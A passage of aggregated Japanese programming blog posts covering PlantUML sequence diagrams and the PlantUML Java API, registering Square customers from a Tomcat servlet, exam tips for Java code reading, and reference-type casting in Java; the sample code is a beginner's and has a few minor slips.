で終わらせることで複数行で書くことが可能シーケンス図
同期メッセージ
@startuml Alice -> Bob: Hi Bob --> Alice: Hi Alice -> Bob: Is this a pen? Bob --> Alice: No! This is an apple!! @enduml
- シーケンス図は、基本的に
<要素> <メッセージ> <要素>: <メッセージ名>
と記述していく<メッセージ>
は、->
で同期メッセージになる-->
は線が点線になり、応答メッセージに使用できる非同期メッセージ
@startuml Alice ->> Bob: Hi Alice ->> Bob: Is this a pen? Alice ->> Bob: Is this a pen?? Alice ->> Bob: Is this a pen??? Alice ->> Bob: Is this a pen???? Bob -> Alice: This is an apple!!! @enduml
->>
と記述することで、非同期メッセージを表現できるライフラインの並び順を指定する
@startuml participant Alice participant Bob participant Carol Carol -> Bob: Is the tip included? Bob -> Alice: いずれテッペン超えれる? @enduml
- 何もしないと、ライフラインは上から現れた順番で、左から並べられる
- ライフラインの順序を指定したい場合は、
paritcipant <ライフラインの名前>
という形で別途並びを定義しておくライフラインにアイコンを使う
@startuml actor Actor boundary Boundary control Control entity Entity database Database collections Collections @enduml
participant
の代わりに特定のキーワードを指定することで、役割に合わせたアイコンを使用できる自分自身へのメッセージ
@startuml Aclie -> Aclie: 逃げちゃ駄目だ Aclie -> Aclie: 逃げちゃ駄目だ Aclie -> Aclie: 逃げちゃ駄目だ Aclie -> Aclie: 逃げちゃ駄目だ Aclie -> Aclie: 逃げちゃ駄目だ @enduml
- 自分自身にメッセージを送ることもできる
メッセージに番号を振る
@startuml Alice -> Bob: Hi autonumber Bob -> Carol: Hi Carol -> Dave: Hi Bob -> Dave: Hi @enduml
- メッセージの前に
autonumber
と記述することで、その後のメッセージに自動的に番号を振ることができる開始番号と増分を指定する
@startuml autonumber 3 Alice -> Bob: Hi Bob -> Carol: Hi autonumber 2 3 Carol -> Dave: Hi Bob -> Dave: Hi @enduml
autonumber <開始> <増分>
のようにして、開始番号と増分を指定できる自動採番の一時停止・再開
@startuml autonumber Alice -> Bob: Hi autonumber stop Bob -> Carol: Hi Carol -> Dave: Hi autonumber resume Bob -> Dave: Hi Carol -> Dave: Hi @enduml
autonumber stop
で、自動採番を中断できるautonumber resume
で、中断したところから自動採番を再開できるメッセージのグループ化
@startuml Alice -> Bob: Is this a pen? alt yes Alice <-- Bob: Yes! This is a pen!! else no Alice <-- Bob: Noooooooo! This is an apple!!!!! end @enduml
- 特定のキーワードを使うことでメッセージをグループ化できる
- 使用できる予約済みのキーワードは以下
alt
/else
opt
loop
par
break
critical
- キーワードの後ろに任意の文字列を記述できる(分岐の条件などを記述できる)
- インデントは必要ないが、しておいたほうが見やすいと思う
- グループは次のように入れ子が可能
入れ子にした場合@startuml Alice -> Bob: Is this a pen? alt yes Alice <-- Bob: Yes! This is a pen!! else no Alice <-- Bob: Noooooooo! This is an apple!!!!! loop ∞ Alice -> Bob: Oh sorry! By the way, is this a pen? Alice <-- Bob: Noooooooooooooooooo!!!! end end @enduml任意の名前のグループを作る
@startuml group コピペ Alice -> Bob: Is this a pen? Alice <-- Bob: No! This is an apple!! end @enduml
group <名前>
とすることで、任意の名前のグループを書ける- この場合、
alt
などでかけたような条件に当たるところの記述はできない実行仕様
@startuml activate Alice Alice -> Bob activate Bob Bob -> Carol activate Carol Bob <-- Carol deactivate Carol Alice <-- Bob deactivate Bob @enduml
activate <名前>
で、指定した名前のライフラインの実行仕様を表現できるdeactive <名前>
で明示的に非活性化させる必要がある入れ子にする
@startuml activate Alice Alice -> Bob activate Bob Bob -> Bob activate Bob Bob -> Carol activate Carol Bob <-- Carol deactivate Carol Alice <-- Bob deactivate Bob @enduml
- 実行仕様は入れ子にできる
ライフラインの生成
@startuml Alice -> Bob create Carol Bob -> Carol: new Bob -> Carol Bob <-- Carol Alice <-- Bob @enduml
create <名前>
と記述することで、指定した名前のライフラインを途中から生成できるリファレンス
@startuml Alice -> Bob ref over Bob, Carol: あっちを参照 Alice <-- Bob ref over Alice そっちを 参照 end ref @enduml
ref over <リファレンスで囲う対象>: <説明>
と記述することで、リファレンスを記述できる- リファレンスで囲う対象には、ライフラインの名前をカンマ区切りで複数指定できる
ref over ... end ref
とすることで複数行で記述することも可能境界線
@startuml == Foo == Alice -> Bob Alice <-- Bob == Bar == Bob -> Carol Bob <-- Carol @enduml
== <名前> ==
と書くことで、境界線を記述できる外部からの(への)メッセージ
@startuml [-> Alice: Hello Alice ->]: Hello @enduml
- ライフラインの名前の代わりに
[
,]
を使うことで、外部からの(への)メッセージを記述できるメッセージの間に間隔をあける
@startuml Alice -> Bob Alice <-- Bob Alice -> Bob Alice <-- Bob ||| Alice -> Bob Alice <-- Bob ||80|| Alice -> Bob Alice <-- Bob @enduml
- メッセージの間に
|||
を挟むことで、少し間隔をあけることができる||<ピクセル>||
とすれば、間隔の大きさをピクセルで指定できるノート
@startuml Alice -> Bob note left: Hello Alice <-- Bob note right: World Alice -> Alice note left Hello World end note @enduml
- メッセージの直後に
note left
またはnote right
のいずれかでノートをつけることができる
top
,bottom
は使えない(使うとクラス図として解釈されてしまう)note <left|right> ... end note
とすることで複数行で書くことも可能- Creole で記述可能
Java から使う
Graphviz の指定
- コマンドラインから実行するときと同様で、 Graphviz の
dot.exe
の場所を指定しなければならない- コマンドラインオプションはないので、システムプロパティか環境変数での設定になる
依存関係の指定
build.gradleplugins { id "application" } sourceCompatibility = 11 targetCompatibility = 11 compileJava.options.encoding = "UTF-8" mainClassName = "sandbox.plantuml.Main" repositories { mavenCentral() } dependencies { implementation "net.sourceforge.plantuml:plantuml:8059" }
- net.sourceforge.plantuml:plantuml を依存関係に追加する
String ソースから読み込む
Main.javapackage sandbox.plantuml; import net.sourceforge.plantuml.SourceStringReader; import java.io.File; public class Main { public static void main(String[] args) throws Exception { String source = "@startuml\n" + "Foo <-- Bar\n" + "@enduml"; final SourceStringReader reader = new SourceStringReader(source); reader.generateImage(new File("result.png")); } }
SourceStringReader
を使うと、String
のソースを読み込んで画像を生成できるgenerateImage(File)
などのメソッドで、指定したファイルに結果を出力できる
- 複数の
@startuml...@enduml
が存在する場合は、最初の画像だけが生成される実行結果> gradle run ...
- コマンドラインから実行する場合と同じで、環境変数
GRAPHVIZ_DOT
が設定されている必要がある点に注意複数画像が定義されている場合
Main.javapackage sandbox.plantuml; import net.sourceforge.plantuml.SourceStringReader; import java.io.FileOutputStream; import java.io.OutputStream; public class Main { public static void main(String[] args) throws Exception { String source = "@startuml FooBar\n" + "Foo <-- Bar\n" + "@enduml\n" + "\n" + "@startuml FizzBuzz\n" + "Fizz <-- Buzz\n" + "@enduml"; final SourceStringReader reader = new SourceStringReader(source); try ( OutputStream fooBar = new FileOutputStream("foobar.png"); OutputStream fizzBuzz = new FileOutputStream("fizzbuzz.png"); ) { reader.generateImage(fooBar, 0); reader.generateImage(fizzBuzz, 1); } } }
generateImage(OutputStream, int)
を使えば、指定した番号の画像を生成できる- 画像の番号は 0 はじまりで上からの順番
ソースファイルから読み込む
フォルダ構成|-source.pu |-build.gradle `-src/main/java/ `-sandbox/plantuml/ `-Main.java
source.pu
ファイルを追加source.pu@startuml FooBar Foo <-- Bar @enduml @startuml FizzBuzz Fizz <-- Buzz @enduml
- 2つの図を定義している
Main.javapackage sandbox.plantuml; import net.sourceforge.plantuml.SourceFileReader; import java.io.File; public class Main { public static void main(String[] args) throws Exception { final SourceFileReader reader = new SourceFileReader(new File("source.pu")); reader.getGeneratedImages(); } }
SourceFileReader
でソースファイルを読み込んでいるgetGeneratedImages()
を実行すると、画像の生成が行われる実行結果> gradle run ...フォルダ構成|-source.pu |-FooBar.png |-FizzBuzz.png |-build.gradle `-src/main/java/ `-sandbox/plantuml/ `-Main.java
- コマンドラインから実行したときと同じように、ソースファイルが存在するフォルダに画像が出力される
getGeneratedImage()
は、生成された画像ファイルを表すFile
オブジェクトのList
が返される参考
- 投稿日:2020-04-26T09:05:19+09:00
Tomcatを使ってSquareに顧客登録する方法
目次
- EclipseでMavenプロジェクト作成
- MavenプロジェクトにTomcat(Java Servlet API)とSquareを登録
- 登録ページ作成(JSP作成)
- 内部処理を作成-1-(JSPとの通信)
- 内部処理を作成-2-(Squareとの通信)
EclipseでMavenプロジェクト作成
参考サイト[Eclipse/Tomcat] MavenのwebappプロジェクトでServlet+JSP
1. Eclipseのパッケージエクスプローラー内で右クリック
2. 新規からMaven プロジェクトをクリック
3.次へをクリック
- (未選択)シンプルなプロジェクトの作成(アーキタイプ選択のスキップ)
- (選択)デフォルト・ワークスペース・ロケーションの使用
- (未選択)ワーキング・スペースへプロジェクトを追加
- (未設定)拡張
4.maven-archetype-webappを選択して次へ
※フィルターにコピペするなら→「org.apache.maven.archetypes」
5.グループidとアーティファクトidを入力して完了をクリック
簡単に説明すると
- グループidは自分の所属するグループ
- アーティファクトidはプロジェクト名
と考えれば良い。グループidを何にすればいいかわからないなら「com.〇〇」←○はTwitterの@を飛ばしたIDを入れればいい
詳しく知りたい方へ↓
「Guide to naming conventions on groupId, artifactId, and version」
「EclipseでMavenプロジェクトを新規作成する(Java)」6.自分が作成したMavenプロジェクトがあれば成功!
7.JRE(Java Runtime Environment)のバージョンを1.7から11に変更(8でも可)
1.自分が作ったMavenプロジェクト内のJRE システム・ライブラリー[JavaSE-1.7]を右クリック
2.プロパティをクリック
8.欠けているフォルダーを復活!
1.自分が作ったMavenプロジェクト内のJRE システム・ライブラリー[JavaSE-11]を右クリック
2.ビルド・パスからビルド・パスの構成をクリック
3.ソースを選択(一番上の「ソース」「プロジェクト」「ライブラリー」「順序およびエクスポート」「モジュール依存関係」)
4.適応して閉じるを選択
MavenプロジェクトにTomcat(Java Servlet API)を登録
参考サイト[Eclipse/Tomcat] MavenのwebappプロジェクトでServlet+JSP
1.作成したMavenプロジェクト内のpom.xmlをダブルクリック
2.最新のJava Servlet APIのxmlコードをコピー
https://mvnrepository.com/artifact/javax.servlet/javax.servlet-api
↓記事作成時点(2020年04月26日)のxmlコード Ver:4.0.1<!-- https://mvnrepository.com/artifact/javax.servlet/javax.servlet-api --> <dependency> <groupId>javax.servlet</groupId> <artifactId>javax.servlet-api</artifactId> <version>4.0.1</version> <scope>provided</scope> </dependency>3.挿入.....。
※記事作成時点では28行目()と29行目()の間に挿入
↓31行目から36行目に挿入されている
4.最新のSquare SDKのxmlコードをコピー
https://search.maven.org/search?q=g:com.squareup%20AND%20a:square
↓記事作成時点(2020年04月26日)のxmlコード Ver:5.2.2.20200422<dependency> <groupId>com.squareup</groupId> <artifactId>square</artifactId> <version>5.2.2.20200422</version> </dependency>5.挿入.....。
記事作成時点では36行目()と37行目()の間に挿入
↓37行目から41行目に挿入されている
4.Maven依存関係に追加されていたら成功!
登録ページ作成(JSP作成)
おまたせしました!準備は終わりましたのでこれからプログラミングをします!
1.作成したMavenプロジェクトの「src」→「main」→「webapp」→「WEB-INF」を右クリックして「新規」→「その他」をクリック
2.「Web」の「JSPファイル」を選択して次へ
3.ファイル名を入力して完了
4.名前(名字と名前)と送信ボタンを表示させます
MainServlet.jsp<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%> <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <!-- ↓サイト名 --> <title>square顧客登録ページ</title> </head> <body> <!-- ↓送信先Java --> <form action="./Main"> <p>名前</p> <a>性</a> <!-- ↓名字を入れるボックス --> <input type="text" name="name1"> <a>名</a> <!-- ↓名前を入れるボックス --> <input type="text" name="name2"> <br> <!-- ↓Jspに送信ボタン --> <input type="submit" value="送信"> </form> </body> </html>内部処理を作成-1-(JSPとの通信)
1.作成したMavenプロジェクトの「src/main/java」を右クリックして「新規」→「その他」をクリック
2.「Web」の「サーブレット」を選択して次へ
3.クラス名を入力して完了
4.作成されればこうなります↓
5.まずはjavaからjspに転送されるプログラムを書きます
変更(追加)した場所↓
Main.java// JSPにforward(ファイルの場所指定) String view = "/WEB-INF/MainServlet.jsp"; RequestDispatcher dispatcher = request.getRequestDispatcher(view); dispatcher.forward(request, response);全部↓
Main.javaimport java.io.IOException; import javax.servlet.RequestDispatcher; import javax.servlet.ServletException; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; /** * Servlet implementation class Main */ public class Main extends HttpServlet { private static final long serialVersionUID = 1L; /** * @see HttpServlet#HttpServlet() */ public Main() { super(); // TODO Auto-generated constructor stub } /** * @see HttpServlet#doGet(HttpServletRequest request, HttpServletResponse response) */ protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { // TODO Auto-generated method stub // response.getWriter().append("Served at: ").append(request.getContextPath()); // JSPにforward(ファイルの場所指定) String view = "/WEB-INF/MainServlet.jsp"; RequestDispatcher dispatcher = request.getRequestDispatcher(view); dispatcher.forward(request, response); } /** * @see HttpServlet#doPost(HttpServletRequest request, HttpServletResponse response) */ protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { // TODO Auto-generated method stub doGet(request, response); } }6.実行してみてJspに記載した内容が表示されればOK!
Main.javaresponse.getWriter().append("Served at: ").append(request.getContextPath());↑これをコメントアウトしよう!
7.Jspで入力した文字をJavaで受け取ろう
説明:Jspの「id=name1」のテキストボックスの文字を「String name1」に入れる
Main.java//jspから受け取り String name1 = request.getParameter("name1");//名前(性) String name2 = request.getParameter("name2");//名前(名)7.nullだと実行しない用にする
説明:name1とname2がnullじゃなかったら実行
Main.javaif (name1 != null || name2 != null) { }8.空白だとエラーを出す
説明:name1とname2が空白じゃなかったら実行。空白だったらエラーを出す
Main.javaif (!name1.equals("") && !name2.equals("")) { }else{ System.out.println("性・名を入力してください"); }9.Square.javaに送るよ
説明:Square.javaに性と名を送る
Main.java//squareに送信 Square square = new Square(); square.main(name1, name2);10.ここまで記載した全部↓
Main.javaimport java.io.IOException; import javax.servlet.RequestDispatcher; import javax.servlet.ServletException; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import square.SquareMain; /** * Servlet implementation class Main */ public class Main extends HttpServlet { private static final long serialVersionUID = 1L; /** * @see HttpServlet#HttpServlet() */ public Main() { super(); // TODO Auto-generated constructor stub } /** * @see HttpServlet#doGet(HttpServletRequest request, HttpServletResponse response) */ protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { // TODO Auto-generated method stub // response.getWriter().append("Served at: ").append(request.getContextPath()); //jspから受け取り String name1 = request.getParameter("name1");//名前(性) String name2 = request.getParameter("name2");//名前(名) if (name1 != null || name2 != null) { if (!name1.equals("") && !name2.equals("")) { //squareに送信 Square square = new Square(); square.main(name1, name2); System.out.println("完了:"); } else { System.out.println("性・名を入力してください"); } } // JSPにforward(ファイルの場所指定) String view = "/WEB-INF/MainServlet.jsp"; RequestDispatcher dispatcher = request.getRequestDispatcher(view); dispatcher.forward(request, response); } /** * @see HttpServlet#doPost(HttpServletRequest request, HttpServletResponse response) */ protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { // TODO Auto-generated method stub doGet(request, response); } }内部処理を作成-2-(Squareとの通信)
参考にしたサイト「Java client library for the Square API」
1.作成したMavenプロジェクトの「src/main/java」→「デフォルト・パッケージ」を右クリックして「新規」→「クラス」をクリック
2.名前を入れて完了クリック
3.まずはアクセストークンを入力しましょう
↓テスト用
Square.javaSquareClient client = new SquareClient.Builder() .environment(Environment.SANDBOX) .accessToken("YOUR_SANDBOX_ACCESS_TOKEN") .build();↓本番用
Square.javaSquareClient client = new SquareClient.Builder() .environment(Environment.PRODUCTION) .accessToken("ACCESS TOKEN HERE") .build();4.CustomersAPI
詳細:「Customers」
Square.javaCustomersApi api = client.getCustomersApi();5.送信する形を作る
詳細:「Create Customer」
Square.javaCreateCustomerRequest createCustomerRequest = new CreateCustomerRequest.Builder() .idempotencyKey("unique_idempotency_key") .givenName(name1)//性 .familyName(name2)//名 .address(null)//今回は使用しない .build();6.送信するぞ!
Square.javatry { CreateCustomerResponse response = api.createCustomer(createCustomerRequest); } catch (ApiException e) { List<Error> errors = e.getErrors(); int statusCode = e.getResponseCode(); HttpContext httpContext = e.getHttpContext(); // Your error handling code System.err.println("APIを呼び出すときのApiExceptionエラー"); e.printStackTrace(); } catch (IOException e) { // Your error handling code System.err.println("API呼び出し時のIOExceptionエラー"); e.printStackTrace(); }7.Square.javaの全部
Square.javaimport java.io.IOException; import java.util.List; import com.squareup.square.Environment; import com.squareup.square.SquareClient; import com.squareup.square.api.CustomersApi; import com.squareup.square.exceptions.ApiException; import com.squareup.square.http.client.HttpContext; import com.squareup.square.models.CreateCustomerRequest; import com.squareup.square.models.CreateCustomerResponse; import com.squareup.square.models.Error; public class Square { public void main(String name1, String name2) { SquareClient client = new SquareClient.Builder() .environment(Environment.PRODUCTION) .accessToken("ACCESS TOKEN HERE") .build(); CustomersApi api = client.getCustomersApi(); CreateCustomerRequest createCustomerRequest = new CreateCustomerRequest.Builder() .idempotencyKey("unique_idempotency_key") .givenName(name1)//性 .familyName(name2)//名 .address(null)//今回は使用しない .build(); try { CreateCustomerResponse response = api.createCustomer(createCustomerRequest); } catch (ApiException e) { List<Error> errors = e.getErrors(); int statusCode = e.getResponseCode(); HttpContext httpContext = e.getHttpContext(); // Your error handling code System.err.println("APIを呼び出すときのApiExceptionエラー"); e.printStackTrace(); } catch (IOException e) { // Your error handling code System.err.println("API呼び出し時のIOExceptionエラー"); e.printStackTrace(); } } }完成!
動画ので教える感覚で記事書くと見にくくなることがわかった。
次回から気をつけます
PS 挿入ってエロいよね
- 投稿日:2020-04-26T02:10:00+09:00
基本情報のコードリーディング(java) の方針について
基本情報処理技術者試験(以下、基本情報)のアルゴリズム問題をjava で受験する予定なので勉強中。
最近ちょっと方針がわかってきた。
- クラス名直後の空欄はサービス問題
- メソッド内の空欄は引数や戻り値から推測しよう
- 条件2.でダメなら仕様をよく読んで推測しよう
「this」「super」があったら「コンストラクタ」の話
1. クラス名直後の空欄はサービス問題
問題の選択肢を見る。クラス名直後の空欄は「extends」、「implements」、「throws」のいずれかである(たぶん)。空欄の直後が例外処理(〜exception みたいなやつ)なら「throws」で確定。空欄の直後がクラスなら"継承" なので空欄は「extends」、インターフェース名なら「implements」 が当てはまる。
sample.javapublic class human{ ~~~~ ~~~~ } public class sample [[ 空欄a ]] human{ ~~~~ ~~~~ } // human はクラスなので[[ 空欄a ]] は「extends」sample.javapublic interface human{ ~~~~ ~~~~ } public class sample [[ 空欄a ]] human{ ~~~~ ~~~~ } // human はインターフェースなので[[ 空欄a ]] は「implements」sample.javapublic class sample [[ 空欄a ]] IOException{ ~~~~ ~~~~ } // 直後に例外が来てるので[[ 空欄a ]] は「throws」だいたいこんな感じだと思って解いてる。
こういうサービス問題はまっさきに埋めてしまおう。
2. メソッド内の空欄は引数や戻り値から推測しよう
インスタンスの型やメソッド名直後の戻り値を追いかけると回答を絞れることも多い。焦らずデータの流れを追っていこう。
3. 条件2.でダメなら仕様をよく読んで推測しよう
while() のかっこ内の条件文や、呼び出される関数の名前などの仕様ははじめの日本語文に書いてある。しっかり読んでみよう。
- 「this」「super」があったら「コンストラクタ」の話
- 投稿日:2020-04-26T01:32:39+09:00
【わかりやすく解説‼】Javaにおける参照型の型変換
1.事前知識
事前知識として、上記リンクの内容が必要です。
2.参照型の型変換とは
参照型の型変換
には、アップキャスト
とダウンキャスト
がある。アップキャスト
は、サブクラスのインスタンスをスーパークラス型のオブジェクト
として扱うこと。ダウンキャスト
は、スーパークラスのインスタンスをサブクラス型のオブジェクト
として扱うこと。ダウンキャスト
は、キャスト演算子「()」を使用して行う。3.基本的な書き方
アップキャストpublic class メインクラス名{ public static void main(String[] args) { // インスタンスの生成 サブクラス名 変数名1 = new サブクラス名(); // アップキャスト スーパークラス名 変数名2 = 変数名1; } }ダウンキャストpublic class メインクラス名{ public static void main(String[] args) { // インスタンスの生成 スーパークラス名 変数名1 = new サブクラス名(); // アップキャスト サブクラス名 変数名2 = (サブクラス名)変数名1; } }
- 基本的な参照型の型変換は上記のように記述する。
4.事前準備
1. Eclipseを起動し、[ファイル(F)]→[新規(N)]→[Java プロジェクト]
を選択する。
2. プロジェクト名にTest1
と入力し、完了
ボタンをクリックする。
3.[ファイル(F)]→[新規(N)]→[クラス]
を選択する。
4. パッケージと名前にTest1
と入力し、完了
ボタンをクリックする。
5.Test1.java
が作成されたことを確認する。
6. 3と同様の手順でパッケージにTest1
, 名前にHello
と入力し、完了
ボタンをクリックする。
8. 3と同様の手順でパッケージにTest1
, 名前にGoodMorning
, スーパークラスにHello
と入力し、完了
ボタンをクリックする。
9. 3と同様の手順でパッケージにTest1
, 名前にGoodEvening
, スーパークラスにGoodMorning
と入力し、完了
ボタンをクリックする。
10.Test1.java
,Hello.java
,GoodMorning.java
,GoodEvening.java
が作成されれば成功。5.記述例
参照型の型変換
は、スーパークラス
またはサブクラス
が 持っているメソッドの呼び出し
やメソッドの定義範囲を変える
ために使用する。Test1.javapackage Test1; public class Test1 { public static void main(String[] args) { // インスタンスの生成 GoodEvening ge1 = new GoodEvening("A"); ge1.showGoodMorning(); // アップキャスト Hello hello = ge1; hello.showHello(); // ダウンキャスト GoodEvening ge2 = (GoodEvening) hello; ge2.showGoodEvening(); //((GoodEvening) hello).showGoodEvening(); } }Hello.javapackage Test1; public class Hello{ // 変数の定義 String name; // コンストラクタ public Hello(String name) { this.name = name; } // 挨拶の表示 void showHello() { System.out.println(name + "さん、こんにちは。"); } }GoodMorning.javapackage Test1; public class GoodMorning extends Hello { // コンストラクタ public GoodMorning(String name) { super(name); } // 挨拶の表示 void showGoodMorning() { System.out.println(name + "さん、おはようございます。"); } }GoodEvening.javapackage Test1; public class GoodEvening extends GoodMorning { // コンストラクタ public GoodEvening(String name) { super(name); } // 挨拶の表示 void showGoodEvening() { System.out.println(name + "さん、こんばんは。"); } }上記の文をコピーして、文字コードは
S-JIS
を指定し、ファイル名をTest1.java
,Hello.java
,GoodMorning.java
,GoodEvening.java
で保存し、実行するとこうなります。↓↓
注意点
アップキャスト後
の実態はサブクラスの縮小
なため、スーパークラスに同じメソッドが存在する場合はサブクラスが優先
される。Test1.javapackage Test1; public class Test1 { public static void main(String[] args) { // インスタンスの生成 TestB b = new TestB(); b.view();// Bが表示される // アップキャスト TestA a = (TestA) b; a.view();// Bが表示される } } class TestA { public void view() { // スーパークラスの表示 System.out.println("A"); } } class TestB extends TestA{ public void view() { // サブクラスの表示 System.out.println("B"); } }上記の文をコピーして、文字コードは
S-JIS
を指定し、ファイル名をTest1.java
で保存し、実行するとこうなります。↓↓
6.関連
- 投稿日:2020-04-26T00:17:29+09:00
java
参考にした記事
https://manga.crocro.com/?cat=java&pg=make_cui_app
javaの環境構築まで終わり。
アプリケーションまで作業したがやったばかりで全然わからない。